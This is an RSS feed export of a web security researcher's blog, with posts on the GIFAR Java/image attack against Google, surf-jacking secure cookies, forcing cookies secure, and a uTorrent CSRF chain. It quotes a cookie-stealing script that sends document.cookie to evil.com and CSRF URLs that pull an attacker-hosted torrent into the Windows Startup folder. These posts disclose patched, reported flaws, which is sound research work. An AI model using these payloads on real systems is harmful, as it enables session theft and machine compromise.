<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Billy (BK) Rios &#187; Web Application Security</title>
	<atom:link href="http://xs-sniper.com/blog/category/security/webapps/feed/" rel="self" type="application/rss+xml" />
	<link>http://xs-sniper.com/blog</link>
	<description>Thoughts on Security in an Uncivilized World…</description>
	<lastBuildDate>Tue, 09 Jun 2009 07:38:52 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SUN Fixes GIFARs</title>
		<link>http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/</link>
		<comments>http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/#comments</comments>
		<pubDate>Wed, 17 Dec 2008 09:22:26 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Applet]]></category>
		<category><![CDATA[contact list]]></category>
		<category><![CDATA[GIFARs]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Patch]]></category>
		<category><![CDATA[pwnd]]></category>
		<category><![CDATA[SUN]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webapp]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=190</guid>
		<description><![CDATA[Last week, Sun released a patch for a vulnerability I reported to them.  The patch I’m talking about fixes the “GIFAR” issue.  I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, Sun released a<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5343" target="_blank"> patch for a vulnerability I reported to them</a>.  The patch I’m talking about fixes the “<a title="GIFAR... what the hell is it?" href="http://blogs.zdnet.com/security/?p=1619" target="_blank">GIFAR</a>” issue.  I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack.  Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).</p>
<p>Before we begin, I’d like to thanks Chok Poh from Sun’s Security team.  Chok was vital in fixing the GIFAR issue.  This patch required some significant thought as to how to best handle this issue.  Chok was very responsive and was smart enough to understand the impact of the unusual issue.  I’d also like to thank the Google Security team.  Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users.  Now, on to the show!</p>
<p>As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix.  There are a few different places that talk about this technique (pdp has a great <a title="pdp" href="http://www.gnucitizen.org/blog/java-jar-attacks-and-features/" target="_blank">write up</a>), but I first learned of the technique from <a title="LifeHacker" href="http://lifehacker.com/software/privacy/geek-to-live--hide-data-in-files-with-easy-steganography-tools-230915.php" target="_blank">Lifehacker.com in this post</a>.  Once the GIFAR is created, we examine the file in a HEX editor.  The header of the file looks something like this:</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide1.png" target="_blank"><img class="alignnone size-medium wp-image-193" title="header" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide1-300x225.png" alt="header" width="300" height="225" /></a></p>
<p>The footer looks something like this:</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide2.png" target="_blank"><img class="alignnone size-medium wp-image-195" title="Footer" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide2-300x225.png" alt="Footer" width="300" height="225" /></a></p>
<p>We now have a file that is both a valid GIF and valid Java JAR.  We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web).  Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain.  Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag.  I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.</p>
<p>When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain.  The actual domain it was served from lh4.ggpht.com.  Below is a screenshot of the domain Google was using to serve the user supplied images.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide3.png" target="_blank"><img class="alignnone size-medium wp-image-196" title="Google Alias" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide3-300x225.png" alt="Google Alias" width="300" height="225" /></a></p>
<p>After some investigation, we realized that ggpht.com was actually an alias for google.com.  So, we could manually change our request from lh4.ggpht.com to lh4.google.com.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide4.png" target="_blank"><img class="alignnone size-medium wp-image-197" title="lh4.google.com" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide4-300x225.png" alt="lh4.google.com" width="300" height="225" /></a></p>
<p>Bingo!  Now we are on a google.com domain!  From here, a lot of attackers begin to think “Java has raw sockets…”.  It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques.  Instead of raw sockets, we chose to use Java’s<a title="HTTPUrlConnection" href="http://java.sun.com/javase/6/docs/api/java/net/HttpURLConnection.html" target="_blank"> HTTPUrlConnection</a> object.  We chose the HTTPUrlConnection object for two very good reasons.  The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains.  So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies.  We’ll get to the second reason here in a bit.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/httpurlconnection1.png" target="_blank"><img class="alignnone size-full wp-image-204" title="httpurlconnection1" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/httpurlconnection1.png" alt="httpurlconnection1" width="493" height="201" /></a></p>
<p>Now, even though we are now on the google.com domain, we still have a problem.  The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in<a title="Code.Google" href="http://xs-sniper.com/blog/2008/04/04/insecure-content-ownership/" target="_blank"> previous posts</a>).  Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com.  The problem here is lh4.google.com doesn’t store anything interesting.  This problem leads us to the second reason we chose the HTTPUrlConnection object.</p>
<p>Java’s HTTPUrlConnection object has a method named “<a href="http://java.sun.com/javase/6/docs/api/java/net/URLConnection.html#setRequestProperty(java.lang.String,%20java.lang.String)" target="_blank">setRequestProperty</a>”.  Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests.  We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain.  As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&amp;max=500 (Google has removed this contact list).  I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&amp;max=500.  I also set the HOST header to groups-beta.google.com.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/host.png" target="_blank"><img class="alignnone size-full wp-image-199" title="host" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/host.png" alt="host" width="494" height="124" /></a></p>
<p>When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced.  Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through.  Once Google receives the request, it checks the HOST header to determine where the resource should be served from.  The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com.  In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide5.png" target="_blank"><img class="alignnone size-medium wp-image-200" title="All your contacts are belong to us" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide5-300x225.png" alt="All your contacts are belong to us" width="300" height="225" /></a></p>
<p>It’s easy to blame Java (Sun) for this issue.  After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars.  In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue.  When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain.  This isn’t the first time an image was repurposed like this,<a href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx" target="_blank"> IE has had MIME sniffing issues with images</a>, <a href="http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html" target="_blank">Flash had crossdomain.xml issues with images</a>, and now we have GIFARs.  The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain.  As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Surf Jacking Secure Cookies</title>
		<link>http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/</link>
		<comments>http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/#comments</comments>
		<pubDate>Wed, 24 Sep 2008 09:10:03 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[cookie theft]]></category>
		<category><![CDATA[cookies. secure]]></category>
		<category><![CDATA[local network]]></category>
		<category><![CDATA[set-cookie]]></category>
		<category><![CDATA[side jacking]]></category>
		<category><![CDATA[sniffing]]></category>
		<category><![CDATA[surf jacking]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=172</guid>
		<description><![CDATA[I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…

The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to [...]]]></description>
			<content:encoded><![CDATA[<p>I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…<br />
<br/><br />
The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.<br />
<br/><br />
Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag.  An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking).  Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear…  I’m safe… right?<br />
<br/><br />
Not so fast…  If application sets all the cookies with the secure flag, BUT the web application also has a <strong>“script src”</strong> tag pointing to an <strong>insecure location</strong> (http://) then you can <strong>STILL STEAL THE COOKIE</strong>, even if its marked secure.   Let me explain…<br />
<br/><br />
If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network.   Let’s say I have a page on xs-sniper.com that does analytics for my web application.  We’ll name this page http://xs-sniper.com/analytics.html.  This page is meant to be served as<strong> <span style="color: #ff0000;">http://</span></strong> and contains no sensitive data, but if a user makes a direct request for <strong><span style="color: #00ff00;">https</span><span style="color: #00ff00;">://</span></strong>xs-sniper.com/analytics.html the page is still served.  Inside of the page’s HTML is a script src tag that looks something like this:<br />
<br/><br/><br />
&lt;script src=&#8221;<strong><span style="color: #ff0000;">http</span><span style="color: #ff0000;">://</span></strong>myanalytics.com/webbugs.js&#8221;&gt;&lt;/script&gt;<br />
<br/><br/><br />
Now, using the surf jack technique, Sandro redirected the victim to an <strong><span style="color: #ff0000;">http://</span></strong> version of the targeted site.  In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE.  Instead, we’ll redirect to an <strong><span style="color: #00ff00;">https</span><span style="color: #00ff00;">://</span></strong> page on our victim domain that contains an <strong>insecure script src</strong> tag like the one shown above (https://xs-sniper.com/analytics.html).  Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):<br />
<br/><br/><br />
CookiesStealer = new Image();</p>
<p>CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;<br />
<br/><br/><br />
The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure.  There you go… Secure cookies stolen.<br />
<br/><br />
Without warning or prompt, every browser I tested allowed an <strong><span style="color: #00ff00;">https</span><span style="color: #00ff00;">://</span> page to </strong><strong>load a script src from an insecure <span style="color: #ff0000;">http</span><span style="color: #ff0000;">://</span> location</strong>.  Ok&#8230; I lied&#8230; every browser EXCEPT ONE&#8230; can you guess which lonely browser provided a warning before allowing an<span style="color: #00ff00;"> <strong>https://</strong></span><strong> </strong>page to load a script from an <strong><span style="color: #ff0000;">http://</span></strong> location?  You can find the answer<em><strong> <a title="And the Winner is...." href="http://tinyurl.com/yd9ugb " target="_blank">here</a></strong></em>.  For those of you in disbelief, you can test your favorite browser(s) <strong><em><a title="Insecure Content from HTTPS" href="https://www.xs-sniper.com/javascript/insecure-script-src.php" target="_blank">here</a></em></strong>.<br />
<br/><br />
SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked&#8230; that&#8217;s pretty cool&#8230;<br />
<br/><br />
CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an <span style="color: #ff0000;"><strong>http:// </strong></span>page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full <span style="color: #ff0000;"><strong>http://</strong></span> page and called document.cookie, the secure cookie would be missing. This is why I needed to call an <span style="color: #00ff00;"><strong>https:// page with a script src that loaded an insecure script file.</strong></span></p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Simple Lesson on Secure Cookies</title>
		<link>http://xs-sniper.com/blog/2008/09/09/secure-cookies/</link>
		<comments>http://xs-sniper.com/blog/2008/09/09/secure-cookies/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 09:05:50 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[cookies. secure]]></category>
		<category><![CDATA[dependencies]]></category>
		<category><![CDATA[document.cookie]]></category>
		<category><![CDATA[ghetto javascript]]></category>
		<category><![CDATA[set-cookie]]></category>
		<category><![CDATA[side jacking]]></category>
		<category><![CDATA[surf jacking]]></category>
		<category><![CDATA[webapp]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=144</guid>
		<description><![CDATA[I recently read a paper written by Sandro Gauci from Enable Security entitled &#8220;Surf Jacking &#8211; HTTPS will not save you&#8221;.  You can find the paper here.

It&#8217;s an interesting read and extremely relevant to today’s web applications.  The heart of the paper describes some simple tricks to force a session cookie to be sent [...]]]></description>
			<content:encoded><![CDATA[<p>I recently read a paper written by Sandro Gauci from Enable Security entitled &#8220;Surf Jacking &#8211; HTTPS will not save you&#8221;.  You can find the paper <em><strong><a title="Surf Jacking" href="http://resources.enablesecurity.com/resources/Surf%20Jacking.pdf" target="_blank">here</a>.</strong></em><br />
<br/><br />
It&#8217;s an interesting read and extremely relevant to today’s web applications.  The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel.  These tricks are possible if the secure flag isn’t set for the session cookie.  These types of attacks have been discussed before.  Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.<br />
<br/><br />
&lt;RANT&gt; It bugs me that we’re still dealing with issues like this.  Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications.  Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$).  The true victim&#8217;s to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. &lt;/RANT&gt;<br />
<br/><br />
I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective&#8230; yet we continue to struggle on wide scale implementation because we&#8217;ve taken dependencies on insecure behavior.  SSL certs are another great example of this.  Every major browser has a way to bypass the security provided by SSL certs.  Browsers MUST offer this bypass because if they didn&#8217;t, it would break the web&#8230; but i digress.<br />
<br/><br />
There is a bright spot when it comes to the protecting cookies.  Cookies are stored and protected by the browser (as any decent web app hacker should know!).  So, when an application server issues a &#8220;SET-COOKIE&#8221; header, it&#8217;s merely a recommendation as to how the browser should use the cookie.  Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires&#8230;etc) associated with cookies are enforced ENTIRELY by the browser.  So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels.  This is really simple stuff, so seasoned web app hackers can stop here.  Everyone else can continue reading.<br />
<br/><br />
I&#8217;ve set up a page on <a title="Set Cookie!" href="http://xs-sniper.com/Cookies/cookie-protections.php" target="_blank"><strong>here</strong></a> that simply sets a cookie in the following manner:<br />
<br/><br />
<em><strong>Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE</strong></em><br />
<br/><br />
Examining the Cookie in FireFox shows the following:<br />
<br/><br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-original2.jpg"><img class="size-medium wp-image-149 alignnone" title="Insecure Cookie!" src="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-original2-300x122.jpg" alt="Bad Cookie!" width="300" height="122" /></a><br />
<br/><br />
As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server.  In fact, my server will NEVER set the secure flag for the XSSNIPER cookie.  Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.<br />
<br/><br />
<em><strong>javascript:var cookies=unescape(document.cookie);var split=cookies.split(&quot;;&quot;);for (i = 0; i &lt;split.length;i++){document.cookie=split[i]+&quot;;expires=Thu,1-Jan-1970 00:00:00 GMT;&quot;;document.cookie=split[i]+&quot;;secure;&quot;}document.location=&quot;http://xs-sniper.com/blog&quot;;</strong></em><br />
<br/><br />
The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure.  I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute&#8230;  Hmmmm a tool to prevent Surf/Side Jacking attacks&#8230; I wonder what I would call it&#8230; Any ideas Nate?<br />
<br/><br />
After we run the Javascript, we can take another look at the Cookie info presented by Firefox:<br />
<br/><br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-secure2.jpg"><img class="size-medium wp-image-150 alignnone" title="Secure Cookie!" src="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-secure2-300x158.jpg" alt="Secure Cookies for everyone!" width="300" height="158" /></a><br />
<br/><br />
As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence).  We&#8217;ve turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.<br />
<br/><br />
Now, this approach does have it cons&#8230; Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics.  This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/09/secure-cookies/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>IE8b2 XSS Filter</title>
		<link>http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/</link>
		<comments>http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/#comments</comments>
		<pubDate>Thu, 04 Sep 2008 06:05:37 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[IE8]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[pwnage]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[XSS Filter]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=138</guid>
		<description><![CDATA[I run a number of different browsers, for various reasons.  I was once even called a “browserholic” by a colleague!   I pulled down IE8b2 when it went live a week ago.  I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many [...]]]></description>
			<content:encoded><![CDATA[<p>I run a number of different browsers, for various reasons.  I was once even called a “browserholic” by a colleague!   I pulled down IE8b2 when it went live a week ago.  I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… <a title="XSS Filter" href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx" target="_blank"><em><strong>XSS Filter</strong></em></a><br />
<br/><br />
XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met.  In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web.  David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help.  You can see some of the names of those who participated in XSS-Filter’s creation <a title="XSS Filter testers" href="http://blogs.msdn.com/dross/archive/2008/08/29/ie8-beta-2.aspx" target="_blank"><em><strong>here</strong></em></a>.<br />
<br/><br/><br />
<strong>Thanks David and CONGRATS on the release!</strong><br />
<br/><br/><br />
Some technical details with regards to XSS-Filter can be found <a title="XSS Filter Info" href="http://blogs.msdn.com/dross/archive/2008/08/19/ie-8-xss-filter-architecture-implementation-revealed-some-other-news.aspx" target="_blank"><em><strong>here</strong></em></a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Opera Stuff</title>
		<link>http://xs-sniper.com/blog/2008/07/11/opera-stuff/</link>
		<comments>http://xs-sniper.com/blog/2008/07/11/opera-stuff/#comments</comments>
		<pubDate>Sat, 12 Jul 2008 00:42:36 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Browser]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[Remote Command Execution]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=111</guid>
		<description><![CDATA[I recently came across an issue in Opera that could allow for some bad stuff.  Although the issue has been addressed, I&#8217;ve been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues.  I&#8217;ll respect that request.  I do however, want to take a moment [...]]]></description>
			<content:encoded><![CDATA[<p>I recently came across an issue in Opera that could allow for some <a title="RCE in Opera" href="http://www.opera.com/docs/changelogs/windows/951/" target="_blank"><strong><em>bad stuff</em></strong></a>.  Although the issue has been addressed, I&#8217;ve been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues.  I&#8217;ll respect that request.  I do however, want to take a moment to thank the Opera team for their timely response!  Change control, resource allocation, and devoting the appropriate amount of testing to patches for sophisticated applications is a tricky business.  The Opera team responded quickly with a patch and kept in great contact with me throughout the process.  </p>
<p> </p>
<p>It&#8217;s a crazy world out there and the web browser is the window to the wild wild west.  I wish Opera security team the best of luck! </p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/07/11/opera-stuff/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CSRF pwns your box?!?!</title>
		<link>http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/</link>
		<comments>http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 08:02:47 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[0-dayz]]></category>
		<category><![CDATA[compromise]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[housecleaning]]></category>
		<category><![CDATA[pwnage]]></category>
		<category><![CDATA[uTorrent]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/</guid>
		<description><![CDATA[Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some &#8220;housekeeping&#8221; on the recent spreadsheets.google.com XSS.  (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog.  (2) The [...]]]></description>
			<content:encoded><![CDATA[<p>Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some &#8220;housekeeping&#8221; on the recent spreadsheets.google.com XSS.  (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog.  (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln.  (3)  Part of the vulnerability involved a caching flaw in Google&#8217;s servers, this issue is specific to Google and it was also fixed&#8230;   OK, on to the good stuff&#8230;<br />
         <br />
         <br />
A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend).  Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine!  I think this may be the first PURE CSRF vulnerability that I&#8217;ve seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story).  The series of vulnerabilities basically follow this flow:<br />
         <br />
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI).  Rob targets the CSRF vulnerabilities associated with this locally running web server.</p>
<ul>
<li>Rob uses a first CSRF to turn on the &#8220;Move completed downloads&#8221; option on the uTorrent Web UI.  The CSRF looks something like this:<br />
<em><strong>http://localhost:14774/gui/?action=setsetting&amp;s=dir_completed_download_flag&amp;v=1</strong></em></li>
</ul>
<p>         </p>
<ul>
<li>Once Rob has &#8220;turned on&#8221; the &#8220;Move completed downloads&#8221; functionality, he uses a second CSRF to change the path of where the completed torrent download is placed.  In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder.  This CSRF looks something like this:<br />
<a href="http://localhost:14774/gui/?action=setsetting&amp;s=dir_completed_download&amp;v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup"><em><strong>http://localhost:14774/gui/?action=setsetting&amp;s=dir_completed_download&amp;v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup</strong></em></a></li>
</ul>
<p>         <br />
         </p>
<ul>
<li>The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file.  Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs).  This CSRF looks something like this:<br />
 <a href="http://localhost:14774/gui/?action=add-url&amp;s=http://www.attacker.com/file.torrent"><em><strong>http://localhost:14774/gui/?action=add-url&amp;s=http://www.attacker.com/file.torrent</strong></em></a></li>
</ul>
<p>                   </p>
<p>Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run&#8230;  there you have it&#8230; compromise of a victim’s system through three CSRFs!  Scary stuff&#8230; you can read more about the issue on Robs Blog <em><a target="_blank" href="http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html" title="Rob Carter">&lt;robs blog&gt;.</a></em></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Google XSS</title>
		<link>http://xs-sniper.com/blog/2008/04/14/google-xss/</link>
		<comments>http://xs-sniper.com/blog/2008/04/14/google-xss/#comments</comments>
		<pubDate>Mon, 14 Apr 2008 06:28:22 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Content-disposition]]></category>
		<category><![CDATA[Content-type]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[GST]]></category>
		<category><![CDATA[ouch]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/2008/04/14/google-xss/</guid>
		<description><![CDATA[Now, normally when I find an XSS vulnerability on a popular domain I just report it to the appropriate security team and move on, but this one is interesting…

By taking advantage of the content-type returned by spreadsheets.google.com (and a caching flaw on the part of Google), I was able to pull off a full blown [...]]]></description>
			<content:encoded><![CDATA[<p>Now, normally when I find an XSS vulnerability on a popular domain I just report it to the appropriate security team and move on, but this one is interesting…<br />
<br /></br><br />
